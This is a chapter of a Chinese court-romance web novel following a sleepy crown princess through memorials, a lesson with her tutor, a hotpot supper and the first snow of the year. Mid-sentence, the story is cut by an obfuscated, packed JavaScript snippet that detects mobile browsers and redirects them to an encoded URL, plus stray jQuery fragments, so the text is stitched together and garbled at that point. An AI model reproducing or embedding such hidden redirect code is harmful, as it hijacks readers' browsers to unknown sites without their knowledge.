早晨醒来时,身侧已无人。
今日天阴,暗淡的光线自琉璃窗外铺陈进来,经过重重纱幔,就显得更暗了。
在稀薄的光影下,扶摇抬手,抚平软枕上他睡过的痕迹,床榻里他的气息犹在,似冷雪又似青松般凛然的气息。
外头汪公公在小声唤:“殿下,您可醒了?”
扶摇听见,将锦被拉高,盖了个满头满脸,唔……表哥走了,谁来帮她批奏折?
安宁公主来时,就见一堆宫人围在床前,一个个软声相劝,“殿下,辰时都要过了,您这样饿着可怎么行?”
汪公公在外围,手上拂尘甩来甩去,急得绕圈走,世子这一走,谁还治得了殿下,起个床就是天下第一困难了,明日上朝可怎么办?
忽地望见安宁公主,汪公公如遇救星,忙小跑上前,躬身打揖,“公主,您快来劝劝殿下吧……”
围在床前的宫女们听见公主来了,忙侧身让开,安宁便看到锦被下隆起的一团,里面的人像小动物一般胡乱拱动。
安宁不禁莞尔,快步来到床边,伸手去扯被子,“殿下,快起床了。”
扶摇却连人带被子,像个小雪球似的往里滚,被窝里传出一阵含糊不清的嘟嚷,“再眯一会儿……”
安宁又笑起来,脱了鞋上床,双手抱住那团鼓包,抬手将被角扯开,便露出扶摇一颗小脑袋,满头乌柔的发散在脸上,安宁抬手为她拂开,现出一张因闷在被子里而热得发红的芙蓉面,羊脂白玉似的脸上莹润皎艳,似染了胭脂一般。
“这么大的人了还赖床,羞不羞?”安宁公主拥住扶摇,面上含笑,语气温柔。
扶摇“唔”了声,倒也觉得饿了,终究不情不愿起了床。
老太妃晨起礼佛,安宁公主自然也每日早起,她早用过早膳了,此时仍陪扶摇坐在桌前,慢慢啜饮一盅老吊梨汤。
昨夜里,宫门都封禁了,世子却深夜进宫,闹得老太妃以为出了什么事,听见是世子进宫,便颇有微词。
早上礼佛时,太妃还说起这茬,安宁只跪在佛前做礼拜,并不答言。
太妃在宫里尊贵安稳了十几年,安宁明白她这是拿乔了,可殿下什么都听世子的,往后这宫里,也是世子掌管。
安宁还找不到话来劝太妃,一时又想到裴慎,想到太妃一心要做的事,便也什么都没说。殿下未及笄,往后,还不知是什么样儿呢。
“上午你做什么?”扶摇吃下一只水晶虾饺,抬眸问安宁。
“也没什么,或是绣花,或是看书,天气又不好,还能做什么?”安宁放下瓷匙,见扶摇一脸悻悻,便道:“要不咱们去暖房赏花?”
即使寒冬腊月,宫里陈设的鲜花也是不断的,两座暖阁,养了许多兰桂名品。
扶摇听闻,有些意动,但想到那堆奏折,她就头疼,“我还得批折子呢,咱们下午去。”
安宁柔声道:“好。”
为了能好好玩儿,扶摇立志仅用一个上午就批完所有折子,但到了御书房,瞧见堆了半个御案的奏折,扶摇就泄了气。
这么多,哪里批得完!
可表哥不在,她也只能靠自己了。
哼哧哼哧地批了半个时辰,扶摇抬起头来时,只觉头昏眼花,再看看面前还是那么一大堆,她整个人都不好了。随手拿本折子递给汪公公,“你来,念!”
汪公公立即“噗通”跪下,战战兢兢道:“殿下,奴婢不识字啊。”
以前还有东厂和掌印太监,但昭武帝登基后,便将这些人全部斩了,东厂大都督还喜提凌迟之刑,自那以后,东厂散了,掌印太监也没了,宫内主子们身边伺候的内侍宫女,都是大字不识的。
这会子扶摇让他念奏折,实在是将他吓个半死。
扶摇瞧他这没出息的样儿,骂道:“废物,要你们何用!”
瞬间,屋内的宫女太监们跪了满地,扶摇更心烦了。
但也没办法,扶摇继续一本本看折子写朱批,此时她觉得自己就是那拉磨的驴,没有半刻安歇的。
好不容易胡乱将折子批完,用过午膳,还得去文渊阁上课。
“今天是谁的课?”殿廊下,扶摇问道。
汪公公回道:“是宋少傅的课。”
扶摇跨过门槛,就见宋淮立在殿内,空旷的大殿里,扶摇忽觉他背影清减了许多。
宋淮听到脚步声,转身看见扶摇,执手行礼道:“下臣参见太女殿下。”
扶摇“唔”了声,行至他面前停下,“少傅怎么看起来瘦了?难道近来病了?”
上回她吃坏肚子后,便一直在宫中静养,既未上朝也没上课,后来又是秋猎,紧接着父皇御驾亲征,诸多要事叠在一起,今日回过神来,才恍惚自己许久未见过少傅了。
宋淮看了眼扶摇,想到当初她因食用马奶糕中毒昏迷,宫里三天都没传出一点儿音讯,见她如今面色莹润,一双明眸,如往昔般剔透璨亮,便垂眸笑道:“臣无碍,只是前些日子偶感风寒,近来已大好了。”
扶摇“嗯”了声,也不在意,只当他说的是真的,随口道:“那就好。”便转身坐下,准备听课。
冬日光线昏蒙,文渊阁里点了宫灯,烧着地龙,不多时,扶摇又犯起困来,抬头瞧一眼宋少傅,再瞧一眼,只觉他清润的面容变得重重叠叠起来……
忽然一卷书册抵住她下颌,扶摇一惊,醒转过来,迷蒙抬头,望见少傅如玉的面容,清泠泠的眸子,而他手上,正握住书册的另一端。
扶摇愣愣的,唇瓣微张地望着他。
少傅俯下身,柔声问:“殿下,您还好吗?”
殿外寒风凛冽,扑在窗棱上,发出细碎的撞击声。
扶摇回神,嗅到他身上清淡的墨香,她偏过脸去,或许是靠得太近,忽然就不敢与少傅对视。
而宋淮却移步到扶摇身前,依旧是关切的眼神凝着她:“殿下昨夜是不是没睡好?若实在困乏,不妨先回去休息。”
他的声音又轻又柔,似香炉中上浮的轻烟,似有若无偏又不容忽视。
扶摇蓦地站起身,声音里有她自己都没察觉到的细微慌乱,“对,我是要回去睡一下……”
说完这句,她迅速转身,几步就出了文渊阁。
汪公公等人在后头一阵小跑跟上去。
直到在廊下被冷风一吹,扶摇才感觉好受点儿,心中不由埋怨,文渊阁的地龙也烧得太旺了,都让她喘不过气来了。
乘软轿回到广扬殿,扶摇卸了钗环脱了外衣,滚进暖和的被窝里,抛开一切烦恼,心无顾忌的睡起来。
安宁公主算着扶摇下课的时辰来寻她,却见她睡着,无奈笑笑,轻手轻脚退出去,又返回慈宁宫去。
到入夜时,扶摇才幽幽睡转,她拥着被子迷迷糊糊坐在床上,睡久了,脑子里一团浆糊。宫人们在屋子里轻手轻脚做事,沈兴过来,温声请示:“殿下,晚上要不要吃羊肉锅子?”
扶摇浑身裹着被子,像个臃肿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240292|163881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪人,她眯蒙着眼儿,懒懒道:“行,摆到慈宁宫去,晚上我要和太妃、公主打叶子牌。”
慈宁宫这边原本已经摆膳了,一听殿下要过来,老太妃忙让人将菜品撤下去,换上热气喧腾的羊肉锅子。
扶摇乘软轿过来,在院子里下轿时,一阵朔风刮过,让她差点立身不稳,身旁青棠和沈兴赶紧半拥住扶摇,带她往屋里去。
安宁公主听到动静,从屋子里迎出来。在廊下,两人牵住手,扶摇拧眉道:“好大的风。”
“瞧着像是要下雪了呢。”安宁将扶摇的手放在掌心里暖着,带她往屋里去。
慈宁宫里,馨暖的空气中,总混合着淡淡的药香。老太妃慈眉善目,亲手帮扶摇脱了织锦鹤氅,带她在桌旁坐下,“你这孩子,想一出是一出,再晚一点儿,我跟安宁都用晚膳了。”
扶摇笑道:“没事儿,用过了还可以再吃一顿。”
老太妃一听,唬住了脸,“那怎么成?一会儿你别贪吃,晚上不好克化的。”
锅子里热气蒸腾,扶摇在缭绕的雾气中,好脾气的笑,“行行行,我就吃两口,总行了吧。”
“那更不成了,吃少了夜里会饿,你正是长身体的时候……”老太妃絮叨起来。
扶摇和安宁偷偷对视一眼,两人都无声笑了。
扶摇吃了几口羊肉,嫌膻,又让人换了野鸡锅来,也不用人伺候,自己拿长筷子夹青菜、蘑菇、笋……往锅子里放,时不时将烫好了的菜往太妃和安宁碗里夹。
“够了、够了,你别往我这夹,顾着你自己就行。”老太妃连连摆手。
扶摇又夹一筷子到太妃碗里,双眸狡黠地觑着太妃,笑道:“祖母多吃点儿,长身体要紧。”
老太妃被她气笑,嗔道:“尽乱说,祖母都是要入土的人了……”
热热闹闹吃过锅子后,扶摇又组牌局,让沈兴来凑一角儿。
“放心,你那么点俸禄我都不带瞧的,你好好给我打,输了我给你出银子。”
扶摇将百般推辞的沈兴按坐在椅子上。
沈兴满脑袋是汗,回回输,气得扶摇踢了他下去,换汪公公来。
至亥时,老太妃年纪大了,实在熬不住打瞌睡,怎么也不肯来了。
扶摇顿觉无趣,拒绝了两人留她在慈宁宫睡的好意,照例乘软轿回广扬殿。
还在路上,轿顶上忽然传来噼里啪啦的声响,扶摇一愣,但听外头汪公公道:“殿下,下雪了。”
扶摇撩开帘子,雪粒子在宫灯的照耀下,似雨滴般晶莹,她伸出手去接,透明的雪粒子砸在掌心里,带着轻微冰冷的重量。
“这是今年的初雪呢。”扶摇低声道。
汪公公不禁忧心起来,“不知世子此时在哪儿?是不是在驿站歇下了?驿站被子厚不厚,伺候的人有没有燃炭盆……”
听着汪公公絮絮的念叨声,扶摇有点儿想他,又有点无聊,想着明日是该寻几个人来宫里陪她玩儿了,表哥走之前,不是让她好好挑选几名侧夫……
这边扶摇谨记表哥的嘱咐,程执玉却在驿站里听着雪打窗棱声睡不着,他起身披了件外衣,打开窗,一阵劲风带着雪粒子向他脸上砸来。
屋子里陈设简陋,一盏昏黄的油灯,映出他昂扬的身姿,程执玉站在窗前向南回望,在靡靡细雪中,丰神俊逸的脸上,罕见的有了思念之情。
昭武十七年,九月二十四,青阳驿馆,初雪之夜,程执玉第一次知道了想念是何滋味。